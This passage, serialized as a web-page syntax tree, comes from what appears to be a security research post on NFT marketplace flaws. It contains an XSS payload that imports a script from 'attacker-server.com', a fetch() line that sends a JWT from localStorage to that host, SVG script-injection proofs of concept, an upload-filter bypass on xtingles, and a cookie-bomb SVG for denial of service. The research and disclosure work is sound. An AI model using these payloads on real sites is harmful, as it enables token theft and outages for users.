3,"children":34874},{"style":177},[34875],{"type":29,"value":33772},{"type":24,"tag":158,"props":34877,"children":34878},{"style":222},[34879],{"type":29,"value":1285},{"type":24,"tag":158,"props":34881,"children":34882},{"style":1108},[34883],{"type":29,"value":34078},{"type":24,"tag":158,"props":34885,"children":34886},{"style":33637},[34887],{"type":29,"value":34041},{"type":24,"tag":158,"props":34889,"children":34890},{"class":160,"line":668},[34891,34895,34899],{"type":24,"tag":158,"props":34892,"children":34893},{"style":33637},[34894],{"type":29,"value":34090},{"type":24,"tag":158,"props":34896,"children":34897},{"style":165},[34898],{"type":29,"value":33712},{"type":24,"tag":158,"props":34900,"children":34901},{"style":33637},[34902],{"type":29,"value":7642},{"type":24,"tag":158,"props":34904,"children":34905},{"class":160,"line":676},[34906,34910,34914],{"type":24,"tag":158,"props":34907,"children":34908},{"style":33637},[34909],{"type":29,"value":34106},{"type":24,"tag":158,"props":34911,"children":34912},{"style":165},[34913],{"type":29,"value":33661},{"type":24,"tag":158,"props":34915,"children":34916},{"style":33637},[34917],{"type":29,"value":7642},{"type":24,"tag":158,"props":34919,"children":34920},{"class":160,"line":684},[34921],{"type":24,"tag":158,"props":34922,"children":34923},{"emptyLinePlaceholder":16},[34924],{"type":29,"value":481},{"type":24,"tag":158,"props":34926,"children":34927},{"class":160,"line":700},[34928,34932,34936],{"type":24,"tag":158,"props":34929,"children":34930},{"style":33637},[34931],{"type":29,"value":33656},{"type":24,"tag":158,"props":34933,"children":34934},{"style":165},[34935],{"type":29,"value":33677},{"type":24,"tag":158,"props":34937,"children":34938},{"style":33637},[34939],{"type":29,"value":7642},{"type":24,"tag":158,"props":34941,"children":34942},{"class":160,"line":785},[34943],{"type":24,"tag":158,"props":34944,"children":34945},{"emptyLinePlaceholder":16},[34946],{"type":29,"value":481},{"type":24,"tag":158,"props":34948,"children":34949},{"class":160,"line":1447},[34950,34954],{"type":24,"tag":158,"props":34951,"children":34952},{"style":188},[34953],{"type":29,"value":34151},{"type":24,"tag":158,"props":34955,"children":34956},{"style":165},[34957],{"type":29,"value":1710},{"type":24,"tag":158,"props":34959,"children":34960},{"class":160,"line":1509},[34961,34965,34969,34973,34977,34981,34985,34989,34993,34997,35001,35005],{"type":24,"tag":158,"props":34962,"children":34963},{"style":177},[34964],{"type":29,"value":34163},{"type":24,"tag":158,"props":34966,"children":34967},{"style":177},[34968],{"type":29,"value":34168},{"type":24,"tag":158,"props":34970,"children":34971},{"style":222},[34972],{"type":29,"value":34173},{"type":24,"tag":158,"props":34974,"children":34975},{"style":1914},[34976],{"type":29,"value":34178},{"type":24,"tag":158,"props":34978,"children":34979},{"style":222},[34980],{"type":29,"value":2262},{"type":24,"tag":158,"props":34982,"children":34983},{"style":1914},[34984],{"type":29,"value":34178},{"type":24,"tag":158,"props":34986,"children":34987},{"style":496},[34988],{"type":29,"value":34191},{"type":24,"tag":158,"props":34990,"children":34991},{"style":222},[34992],{"type":29,"value":504},{"type":24,"tag":158,"props":34994,"children":34995},{"style":1108},[34996],{"type":29,"value":34200},{"type":24,"tag":158,"props":34998,"children":34999},{"style":222},[35000],{"type":29,"value":34205},{"type":24,"tag":158,"props":35002,"children":35003},{"style":496},[35004],{"type":29,"value":34210},{"type":24,"tag":158,"props":35006,"children":35007},{"style":222},[35008],{"type":29,"value":9376},{"type":24,"tag":158,"props":35010,"children":35011},{"class":160,"line":1527},[35012],{"type":24,"tag":158,"props":35013,"children":35014},{"emptyLinePlaceholder":16},[35015],{"type":29,"value":481},{"type":24,"tag":158,"props":35017,"children":35018},{"class":160,"line":1545},[35019,35023,35027,35031,35035,35039,35043,35047,35051,35055,35059,35063,35067],{"type":24,"tag":158,"props":35020,"children":35021},{"style":177},[35022],{"type":29,"value":4732},{"type":24,"tag":158,"props":35024,"children":35025},{"style":177},[35026],{"type":29,"value":34233},{"type":24,"tag":158,"props":35028,"children":35029},{"style":222},[35030],{"type":29,"value":34173},{"type":24,"tag":158,"props":35032,"children":35033},{"style":165},[35034],{"type":29,"value":16357},{"type":24,"tag":158,"props":35036,"children":35037},{"style":496},[35038],{"type":29,"value":34246},{"type":24,"tag":158,"props":35040,"children":35041},{"style":222},[35042],{"type":29,"value":34251},{"type":24,"tag":158,"props":35044,"children":35045},{"style":177},[35046],{"type":29,"value":34210},{"type":24,"tag":158,"props":35048,"children":35049},{"style":222},[35050],{"type":29,"value":24305},{"type":24,"tag":158,"props":35052,"children":35053},{"style":1108},[35054],{"type":29,"value":34264},{"type":24,"tag":158,"props":35056,"children":35057},{"style":222},[35058],{"type":29,"value":34269},{"type":24,"tag":158,"props":35060,"children":35061},{"style":177},[35062],{"type":29,"value":34274},{"type":24,"tag":158,"props":35064,"children":35065},{"style":1108},[35066],{"type":29,"value":34279},{"type":24,"tag":158,"props":35068,"children":35069},{"style":222},[35070],{"type":29,"value":34284},{"type":24,"tag":158,"props":35072,"children":35073},{"class":160,"line":1618},[35074,35078,35082,35086,35090,35094],{"type":24,"tag":158,"props":35075,"children":35076},{"style":177},[35077],{"type":29,"value":34163},{"type":24,"tag":158,"props":35079,"children":35080},{"style":177},[35081],{"type":29,"value":34296},{"type":24,"tag":158,"props":35083,"children":35084},{"style":222},[35085],{"type":29,"value":34173},{"type":24,"tag":158,"props":35087,"children":35088},{"style":165},[35089],{"type":29,"value":16357},{"type":24,"tag":158,"props":35091,"children":35092},{"style":496},[35093],{"type":29,"value":34309},{"type":24,"tag":158,"props":35095,"children":35096},{"style":222},[35097],{"type":29,"value":5329},{"type":24,"tag":158,"props":35099,"children":35100},{"class":160,"line":1635},[35101,35105,35109,35113,35117,35121,35125,35129],{"type":24,"tag":158,"props":35102,"children":35103},{"style":177},[35104],{"type":29,"value":34321},{"type":24,"tag":158,"props":35106,"children":35107},{"style":222},[35108],{"type":29,"value":347},{"type":24,"tag":158,"props":35110,"children":35111},{"style":177},[35112],{"type":29,"value":34330},{"type":24,"tag":158,"props":35114,"children":35115},{"style":222},[35116],{"type":29,"value":347},{"type":24,"tag":158,"props":35118,"children":35119},{"style":496},[35120],{"type":29,"value":426},{"type":24,"tag":158,"props":35122,"children":35123},{"style":222},[35124],{"type":29,"value":504},{"type":24,"tag":158,"props":35126,"children":35127},{"style":177},[35128],{"type":29,"value":34347},{"type":24,"tag":158,"props":35130,"children":35131},{"style":222},[35132],{"type":29,"value":1071},{"type":24,"tag":158,"props":35134,"children":35135},{"class":160,"line":1644},[35136],{"type":24,"tag":158,"props":35137,"children":35138},{"emptyLinePlaceholder":16},[35139],{"type":29,"value":481},{"type":24,"tag":158,"props":35141,"children":35142},{"class":160,"line":1652},[35143,35147,35151,35155,35159,35163,35167,35171],{"type":24,"tag":158,"props":35144,"children":35145},{"style":177},[35146],{"type":29,"value":34366},{"type":24,"tag":158,"props":35148,"children":35149},{"style":222},[35150],{"type":29,"value":347},{"type":24,"tag":158,"props":35152,"children":35153},{"style":177},[35154],{"type":29,"value":34375},{"type":24,"tag":158,"props":35156,"children":35157},{"style":222},[35158],{"type":29,"value":34173},{"type":24,"tag":158,"props":35160,"children":35161},{"style":177},[35162],{"type":29,"value":34384},{"type":24,"tag":158,"props":35164,"children":35165},{"style":222},[35166],{"type":29,"value":347},{"type":24,"tag":158,"props":35168,"children":35169},{"style":177},[35170],{"type":29,"value":34375},{"type":24,"tag":158,"props":35172,"children":35173},{"style":222},[35174],{"type":29,"value":473},{"type":24,"tag":158,"props":35176,"children":35177},{"class":160,"line":1704},[35178],{"type":24,"tag":158,"props":35179,"children":35180},{"emptyLinePlaceholder":16},[35181],{"type":29,"value":481},{"type":24,"tag":158,"props":35183,"children":35184},{"class":160,"line":1713},[35185,35190,35194,35199],{"type":24,"tag":158,"props":35186,"children":35187},{"style":177},[35188],{"type":29,"value":35189}," form123",{"type":24,"tag":158,"props":35191,"children":35192},{"style":222},[35193],{"type":29,"value":347},{"type":24,"tag":158,"props":35195,"children":35196},{"style":496},[35197],{"type":29,"value":35198},"submit",{"type":24,"tag":158,"props":35200,"children":35201},{"style":222},[35202],{"type":29,"value":9376},{"type":24,"tag":158,"props":35204,"children":35205},{"class":160,"line":1731},[35206,35210],{"type":24,"tag":158,"props":35207,"children":35208},{"style":165},[35209],{"type":29,"value":34404},{"type":24,"tag":158,"props":35211,"children":35212},{"style":188},[35213],{"type":29,"value":34409},{"type":24,"tag":158,"props":35215,"children":35216},{"class":160,"line":5485},[35217],{"type":24,"tag":158,"props":35218,"children":35219},{"emptyLinePlaceholder":16},[35220],{"type":29,"value":481},{"type":24,"tag":158,"props":35222,"children":35223},{"class":160,"line":5493},[35224,35228,35232],{"type":24,"tag":158,"props":35225,"children":35226},{"style":33637},[35227],{"type":29,"value":34106},{"type":24,"tag":158,"props":35229,"children":35230},{"style":165},[35231],{"type":29,"value":33677},{"type":24,"tag":158,"props":35233,"children":35234},{"style":33637},[35235],{"type":29,"value":7642},{"type":24,"tag":158,"props":35237,"children":35238},{"class":160,"line":5553},[35239,35243,35247],{"type":24,"tag":158,"props":35240,"children":35241},{"style":33637},[35242],{"type":29,"value":33691},{"type":24,"tag":158,"props":35244,"children":35245},{"style":165},[35246],{"type":29,"value":33644},{"type":24,"tag":158,"props":35248,"children":35249},{"style":33637},[35250],{"type":29,"value":7642},{"type":24,"tag":25,"props":35252,"children":35253},{},[35254],{"type":29,"value":35255},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":147,"props":35257,"children":35261},{"className":35258,"code":35259,"language":35260,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[35262],{"type":24,"tag":154,"props":35263,"children":35264},{"__ignoreMap":7},[35265,35272,35293,35314,35331],{"type":24,"tag":158,"props":35266,"children":35267},{"class":160,"line":161},[35268],{"type":24,"tag":158,"props":35269,"children":35270},{"style":188},[35271],{"type":29,"value":1710},{"type":24,"tag":158,"props":35273,"children":35274},{"class":160,"line":213},[35275,35280,35284,35289],{"type":24,"tag":158,"props":35276,"children":35277},{"style":177},[35278],{"type":29,"value":35279}," \"address\"",{"type":24,"tag":158,"props":35281,"children":35282},{"style":188},[35283],{"type":29,"value":16566},{"type":24,"tag":158,"props":35285,"children":35286},{"style":1108},[35287],{"type":29,"value":35288},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":158,"props":35290,"children":35291},{"style":188},[35292],{"type":29,"value":235},{"type":24,"tag":158,"props":35294,"children":35295},{"class":160,"line":238},[35296,35301,35305,35310],{"type":24,"tag":158,"props":35297,"children":35298},{"style":177},[35299],{"type":29,"value":35300}," \"to\"",{"type":24,"tag":158,"props":35302,"children":35303},{"style":188},[35304],{"type":29,"value":16566},{"type":24,"tag":158,"props":35306,"children":35307},{"style":1108},[35308],{"type":29,"value":35309},"\"profile-assets\"",{"type":24,"tag":158,"props":35311,"children":35312},{"style":188},[35313],{"type":29,"value":235},{"type":24,"tag":158,"props":35315,"children":35316},{"class":160,"line":259},[35317,35322,35326],{"type":24,"tag":158,"props":35318,"children":35319},{"style":177},[35320],{"type":29,"value":35321}," \"type\"",{"type":24,"tag":158,"props":35323,"children":35324},{"style":188},[35325],{"type":29,"value":16566},{"type":24,"tag":158,"props":35327,"children":35328},{"style":1108},[35329],{"type":29,"value":35330},"\"icon\"\n",{"type":24,"tag":158,"props":35332,"children":35333},{"class":160,"line":280},[35334],{"type":24,"tag":158,"props":35335,"children":35336},{"style":188},[35337],{"type":29,"value":307},{"type":24,"tag":25,"props":35339,"children":35340},{},[35341],{"type":29,"value":35342},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":147,"props":35344,"children":35346},{"className":32624,"code":35345,"language":32626,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[35347],{"type":24,"tag":154,"props":35348,"children":35349},{"__ignoreMap":7},[35350],{"type":24,"tag":158,"props":35351,"children":35352},{"class":160,"line":161},[35353,35358,35362,35367,35372,35377,35381,35386,35390,35395,35399,35404,35408],{"type":24,"tag":158,"props":35354,"children":35355},{"style":496},[35356],{"type":29,"value":35357},"fetch",{"type":24,"tag":158,"props":35359,"children":35360},{"style":188},[35361],{"type":29,"value":504},{"type":24,"tag":158,"props":35363,"children":35364},{"style":1108},[35365],{"type":29,"value":35366},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":158,"props":35368,"children":35369},{"style":165},[35370],{"type":29,"value":35371},"${",{"type":24,"tag":158,"props":35373,"children":35374},{"style":177},[35375],{"type":29,"value":35376},"localStorage",{"type":24,"tag":158,"props":35378,"children":35379},{"style":222},[35380],{"type":29,"value":347},{"type":24,"tag":158,"props":35382,"children":35383},{"style":496},[35384],{"type":29,"value":35385},"getItem",{"type":24,"tag":158,"props":35387,"children":35388},{"style":222},[35389],{"type":29,"value":504},{"type":24,"tag":158,"props":35391,"children":35392},{"style":1108},[35393],{"type":29,"value":35394},"'token'",{"type":24,"tag":158,"props":35396,"children":35397},{"style":222},[35398],{"type":29,"value":521},{"type":24,"tag":158,"props":35400,"children":35401},{"style":165},[35402],{"type":29,"value":35403},"}",{"type":24,"tag":158,"props":35405,"children":35406},{"style":1108},[35407],{"type":29,"value":1200},{"type":24,"tag":158,"props":35409,"children":35410},{"style":188},[35411],{"type":29,"value":1071},{"type":24,"tag":395,"props":35413,"children":35415},{"id":35414},"svgs",[35416],{"type":29,"value":35417},"SVGs",{"type":24,"tag":25,"props":35419,"children":35420},{},[35421],{"type":29,"value":35422},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":25,"props":35424,"children":35425},{},[35426],{"type":29,"value":35427},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":147,"props":35429,"children":35431},{"className":32624,"code":35430,"language":32626,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[35432],{"type":24,"tag":154,"props":35433,"children":35434},{"__ignoreMap":7},[35435,35481,35518,35525,35555,35587,35615,35623,35639],{"type":24,"tag":158,"props":35436,"children":35437},{"class":160,"line":161},[35438,35443,35448,35453,35457,35462,35467,35471,35476],{"type":24,"tag":158,"props":35439,"children":35440},{"style":222},[35441],{"type":29,"value":35442},"\u003C?",{"type":24,"tag":158,"props":35444,"children":35445},{"style":177},[35446],{"type":29,"value":35447},"xml",{"type":24,"tag":158,"props":35449,"children":35450},{"style":177},[35451],{"type":29,"value":35452}," version",{"type":24,"tag":158,"props":35454,"children":35455},{"style":222},[35456],{"type":29,"value":1285},{"type":24,"tag":158,"props":35458,"children":35459},{"style":1108},[35460],{"type":29,"value":35461},"\"1.0\"",{"type":24,"tag":158,"props":35463,"children":35464},{"style":177},[35465],{"type":29,"value":35466}," encoding",{"type":24,"tag":158,"props":35468,"children":35469},{"style":222},[35470],{"type":29,"value":1285},{"type":24,"tag":158,"props":35472,"children":35473},{"style":1108},[35474],{"type":29,"value":35475},"\"UTF-8\"",{"type":24,"tag":158,"props":35477,"children":35478},{"style":222},[35479],{"type":29,"value":35480},"?>\n",{"type":24,"tag":158,"props":35482,"children":35483},{"class":160,"line":213},[35484,35489,35494,35499,35504,35509,35514],{"type":24,"tag":158,"props":35485,"children":35486},{"style":222},[35487],{"type":29,"value":35488},"\u003C!",{"type":24,"tag":158,"props":35490,"children":35491},{"style":177},[35492],{"type":29,"value":35493},"DOCTYPE",{"type":24,"tag":158,"props":35495,"children":35496},{"style":177},[35497],{"type":29,"value":35498}," svg",{"type":24,"tag":158,"props":35500,"children":35501},{"style":177},[35502],{"type":29,"value":35503}," PUBLIC",{"type":24,"tag":158,"props":35505,"children":35506},{"style":1108},[35507],{"type":29,"value":35508}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":158,"props":35510,"children":35511},{"style":1108},[35512],{"type":29,"value":35513}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":158,"props":35515,"children":35516},{"style":222},[35517],{"type":29,"value":7642},{"type":24,"tag":158,"props":35519,"children":35520},{"class":160,"line":238},[35521],{"type":24,"tag":158,"props":35522,"children":35523},{"emptyLinePlaceholder":16},[35524],{"type":29,"value":481},{"type":24,"tag":158,"props":35526,"children":35527},{"class":160,"line":259},[35528,35532,35537,35542,35546,35551],{"type":24,"tag":158,"props":35529,"children":35530},{"style":33637},[35531],{"type":29,"value":2116},{"type":24,"tag":158,"props":35533,"children":35534},{"style":165},[35535],{"type":29,"value":35536},"svg",{"type":24,"tag":158,"props":35538,"children":35539},{"style":177},[35540],{"type":29,"value":35541}," xmlns",{"type":24,"tag":158,"props":35543,"children":35544},{"style":222},[35545],{"type":29,"value":1285},{"type":24,"tag":158,"props":35547,"children":35548},{"style":1108},[35549],{"type":29,"value":35550},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":158,"props":35552,"children":35553},{"style":33637},[35554],{"type":29,"value":7642},{"type":24,"tag":158,"props":35556,"children":35557},{"class":160,"line":280},[35558,35562,35567,35571,35575,35579,35583],{"type":24,"tag":158,"props":35559,"children":35560},{"style":33637},[35561],{"type":29,"value":33656},{"type":24,"tag":158,"props":35563,"children":35564},{"style":165},[35565],{"type":29,"value":35566},"title",{"type":24,"tag":158,"props":35568,"children":35569},{"style":33637},[35570],{"type":29,"value":1280},{"type":24,"tag":158,"props":35572,"children":35573},{"style":188},[35574],{"type":29,"value":32498},{"type":24,"tag":158,"props":35576,"children":35577},{"style":33637},[35578],{"type":29,"value":33691},{"type":24,"tag":158,"props":35580,"children":35581},{"style":165},[35582],{"type":29,"value":35566},{"type":24,"tag":158,"props":35584,"children":35585},{"style":33637},[35586],{"type":29,"value":7642},{"type":24,"tag":158,"props":35588,"children":35589},{"class":160,"line":301},[35590,35594,35598,35602,35606,35611],{"type":24,"tag":158,"props":35591,"children":35592},{"style":33637},[35593],{"type":29,"value":33656},{"type":24,"tag":158,"props":35595,"children":35596},{"style":165},[35597],{"type":29,"value":33677},{"type":24,"tag":158,"props":35599,"children":35600},{"style":177},[35601],{"type":29,"value":33802},{"type":24,"tag":158,"props":35603,"children":35604},{"style":222},[35605],{"type":29,"value":1285},{"type":24,"tag":158,"props":35607,"children":35608},{"style":1108},[35609],{"type":29,"value":35610},"\"text/javascript\"",{"type":24,"tag":158,"props":35612,"children":35613},{"style":33637},[35614],{"type":29,"value":7642},{"type":24,"tag":158,"props":35616,"children":35617},{"class":160,"line":626},[35618],{"type":24,"tag":158,"props":35619,"children":35620},{"style":188},[35621],{"type":29,"value":35622}," alert(document.domain);\n",{"type":24,"tag":158,"props":35624,"children":35625},{"class":160,"line":668},[35626,35631,35635],{"type":24,"tag":158,"props":35627,"children":35628},{"style":33637},[35629],{"type":29,"value":35630}," \u003C/",{"type":24,"tag":158,"props":35632,"children":35633},{"style":165},[35634],{"type":29,"value":33677},{"type":24,"tag":158,"props":35636,"children":35637},{"style":33637},[35638],{"type":29,"value":7642},{"type":24,"tag":158,"props":35640,"children":35641},{"class":160,"line":676},[35642,35647,35651],{"type":24,"tag":158,"props":35643,"children":35644},{"style":33637},[35645],{"type":29,"value":35646}," \u003C/",{"type":24,"tag":158,"props":35648,"children":35649},{"style":165},[35650],{"type":29,"value":35536},{"type":24,"tag":158,"props":35652,"children":35653},{"style":33637},[35654],{"type":29,"value":7642},{"type":24,"tag":25,"props":35656,"children":35657},{},[35658,35660,35667],{"type":29,"value":35659},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":101,"props":35661,"children":35664},{"href":35662,"rel":35663},"https://xtingles.com/",[105],[35665],{"type":29,"value":35666},"xtingles Marketplace",{"type":29,"value":347},{"type":24,"tag":25,"props":35669,"children":35670},{},[35671],{"type":29,"value":35672},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":25,"props":35674,"children":35675},{},[35676],{"type":29,"value":35677},"Below, we show you how we did it.",{"type":24,"tag":25,"props":35679,"children":35680},{},[35681],{"type":29,"value":35682},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":25,"props":35684,"children":35685},{},[35686],{"type":24,"tag":84,"props":35687,"children":35689},{"alt":7,"src":35688},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":25,"props":35691,"children":35692},{},[35693],{"type":29,"value":35694},"After changing the extension inside the file name.",{"type":24,"tag":25,"props":35696,"children":35697},{},[35698],{"type":24,"tag":84,"props":35699,"children":35701},{"alt":7,"src":35700},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":395,"props":35703,"children":35705},{"id":35704},"svgs-return",[35706],{"type":29,"value":35707},"SVGs Return",{"type":24,"tag":25,"props":35709,"children":35710},{},[35711],{"type":29,"value":35712},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":24,"tag":25,"props":35714,"children":35715},{},[35716],{"type":29,"value":35717},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":25,"props":35719,"children":35720},{},[35721],{"type":29,"value":35722},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":147,"props":35724,"children":35728},{"className":35725,"code":35726,"language":35727,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[35729],{"type":24,"tag":154,"props":35730,"children":35731},{"__ignoreMap":7},[35732,35771,35802,35809,35836,35867,35894,35902,35910,35917,35929,36004,36012,36027],{"type":24,"tag":158,"props":35733,"children":35734},{"class":160,"line":161},[35735,35739,35743,35747,35751,35755,35759,35763,35767],{"type":24,"tag":158,"props":35736,"children":35737},{"style":222},[35738],{"type":29,"value":35442},{"type":24,"tag":158,"props":35740,"children":35741},{"style":177},[35742],{"type":29,"value":35447},{"type":24,"tag":158,"props":35744,"children":35745},{"style":177},[35746],{"type":29,"value":35452},{"type":24,"tag":158,"props":35748,"children":35749},{"style":222},[35750],{"type":29,"value":1285},{"type":24,"tag":158,"props":35752,"children":35753},{"style":1108},[35754],{"type":29,"value":35461},{"type":24,"tag":158,"props":35756,"children":35757},{"style":177},[35758],{"type":29,"value":35466},{"type":24,"tag":158,"props":35760,"children":35761},{"style":222},[35762],{"type":29,"value":1285},{"type":24,"tag":158,"props":35764,"children":35765},{"style":1108},[35766],{"type":29,"value":35475},{"type":24,"tag":158,"props":35768,"children":35769},{"style":222},[35770],{"type":29,"value":35480},{"type":24,"tag":158,"props":35772,"children":35773},{"class":160,"line":213},[35774,35778,35782,35786,35790,35794,35798],{"type":24,"tag":158,"props":35775,"children":35776},{"style":222},[35777],{"type":29,"value":35488},{"type":24,"tag":158,"props":35779,"children":35780},{"style":177},[35781],{"type":29,"value":35493},{"type":24,"tag":158,"props":35783,"children":35784},{"style":177},[35785],{"type":29,"value":35498},{"type":24,"tag":158,"props":35787,"children":35788},{"style":177},[35789],{"type":29,"value":35503},{"type":24,"tag":158,"props":35791,"children":35792},{"style":1108},[35793],{"type":29,"value":35508},{"type":24,"tag":158,"props":35795,"children":35796},{"style":1108},[35797],{"type":29,"value":35513},{"type":24,"tag":158,"props":35799,"children":35800},{"style":222},[35801],{"type":29,"value":7642},{"type":24,"tag":158,"props":35803,"children":35804},{"class":160,"line":238},[35805],{"type":24,"tag":158,"props":35806,"children":35807},{"emptyLinePlaceholder":16},[35808],{"type":29,"value":481},{"type":24,"tag":158,"props":35810,"children":35811},{"class":160,"line":259},[35812,35816,35820,35824,35828,35832],{"type":24,"tag":158,"props":35813,"children":35814},{"style":33637},[35815],{"type":29,"value":2116},{"type":24,"tag":158,"props":35817,"children":35818},{"style":165},[35819],{"type":29,"value":35536},{"type":24,"tag":158,"props":35821,"children":35822},{"style":177},[35823],{"type":29,"value":35541},{"type":24,"tag":158,"props":35825,"children":35826},{"style":222},[35827],{"type":29,"value":1285},{"type":24,"tag":158,"props":35829,"children":35830},{"style":1108},[35831],{"type":29,"value":35550},{"type":24,"tag":158,"props":35833,"children":35834},{"style":33637},[35835],{"type":29,"value":7642},{"type":24,"tag":158,"props":35837,"children":35838},{"class":160,"line":280},[35839,35843,35847,35851,35855,35859,35863],{"type":24,"tag":158,"props":35840,"children":35841},{"style":33637},[35842],{"type":29,"value":33656},{"type":24,"tag":158,"props":35844,"children":35845},{"style":165},[35846],{"type":29,"value":35566},{"type":24,"tag":158,"props":35848,"children":35849},{"style":33637},[35850],{"type":29,"value":1280},{"type":24,"tag":158,"props":35852,"children":35853},{"style":188},[35854],{"type":29,"value":32498},{"type":24,"tag":158,"props":35856,"children":35857},{"style":33637},[35858],{"type":29,"value":33691},{"type":24,"tag":158,"props":35860,"children":35861},{"style":165},[35862],{"type":29,"value":35566},{"type":24,"tag":158,"props":35864,"children":35865},{"style":33637},[35866],{"type":29,"value":7642},{"type":24,"tag":158,"props":35868,"children":35869},{"class":160,"line":301},[35870,35874,35878,35882,35886,35890],{"type":24,"tag":158,"props":35871,"children":35872},{"style":33637},[35873],{"type":29,"value":33656},{"type":24,"tag":158,"props":35875,"children":35876},{"style":165},[35877],{"type":29,"value":33677},{"type":24,"tag":158,"props":35879,"children":35880},{"style":177},[35881],{"type":29,"value":33802},{"type":24,"tag":158,"props":35883,"children":35884},{"style":222},[35885],{"type":29,"value":1285},{"type":24,"tag":158,"props":35887,"children":35888},{"style":1108},[35889],{"type":29,"value":35610},{"type":24,"tag":158,"props":35891,"children":35892},{"style":33637},[35893],{"type":29,"value":7642},{"type":24,"tag":158,"props":35895,"children":35896},{"class":160,"line":626},[35897],{"type":24,"tag":158,"props":35898,"children":35899},{"style":188},[35900],{"type":29,"value":35901}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":158,"props":35903,"children":35904},{"class":160,"line":668},[35905],{"type":24,"tag":158,"props":35906,"children":35907},{"style":188},[35908],{"type":29,"value":35909}," var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":158,"props":35911,"children":35912},{"class":160,"line":676},[35913],{"type":24,"tag":158,"props":35914,"children":35915},{"emptyLinePlaceholder":16},[35916],{"type":29,"value":481},{"type":24,"tag":158,"props":35918,"children":35919},{"class":160,"line":684},[35920,35925],{"type":24,"tag":158,"props":35921,"children":35922},{"style":188},[35923],{"type":29,"value":35924}," for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":158,"props":35926,"children":35927},{"style":165},[35928],{"type":29,"value":1710},{"type":24,"tag":158,"props":35930,"children":35931},{"class":160,"line":700},[35932,35937,35941,35946,35950,35955,35960,35964,35968,35973,35977,35982,35986,35991,35995,36000],{"type":24,"tag":158,"props":35933,"children":35934},{"style":177},[35935],{"type":29,"value":35936}," document",{"type":24,"tag":158,"props":35938,"children":35939},{"style":222},[35940],{"type":29,"value":347},{"type":24,"tag":158,"props":35942,"children":35943},{"style":177},[35944],{"type":29,"value":35945},"cookie",{"type":24,"tag":158,"props":35947,"children":35948},{"style":222},[35949],{"type":29,"value":34173},{"type":24,"tag":158,"props":35951,"children":35952},{"style":1108},[35953],{"type":29,"value":35954},"'Cookie'",{"type":24,"tag":158,"props":35956,"children":35957},{"style":222},[35958],{"type":29,"value":35959}," + ",{"type":24,"tag":158,"props":35961,"children":35962},{"style":177},[35963],{"type":29,"value":1832},{"type":24,"tag":158,"props":35965,"children":35966},{"style":222},[35967],{"type":29,"value":35959},{"type":24,"tag":158,"props":35969,"children":35970},{"style":1108},[35971],{"type":29,"value":35972},"'='",{"type":24,"tag":158,"props":35974,"children":35975},{"style":222},[35976],{"type":29,"value":35959},{"type":24,"tag":158,"props":35978,"children":35979},{"style":177},[35980],{"type":29,"value":35981},"Set_Cookie",{"type":24,"tag":158,"props":35983,"children":35984},{"style":222},[35985],{"type":29,"value":35959},{"type":24,"tag":158,"props":35987,"children":35988},{"style":1108},[35989],{"type":29,"value":35990},"';Domain='",{"type":24,"tag":158,"props":35992,"children":35993},{"style":222},[35994],{"type":29,"value":35959},{"type":24,"tag":158,"props":35996,"children":35997},{"style":177},[35998],{"type":29,"value":35999},"Take_Domain",{"type":24,"tag":158,"props":36001,"children":36002},{"style":222},[36003],{"type":29,"value":473},{"type":24,"tag":158,"props":36005,"children":36006},{"class":160,"line":785},[36007],{"type":24,"tag":158,"props":36008,"children":36009},{"style":165},[36010],{"type":29,"value":36011}," 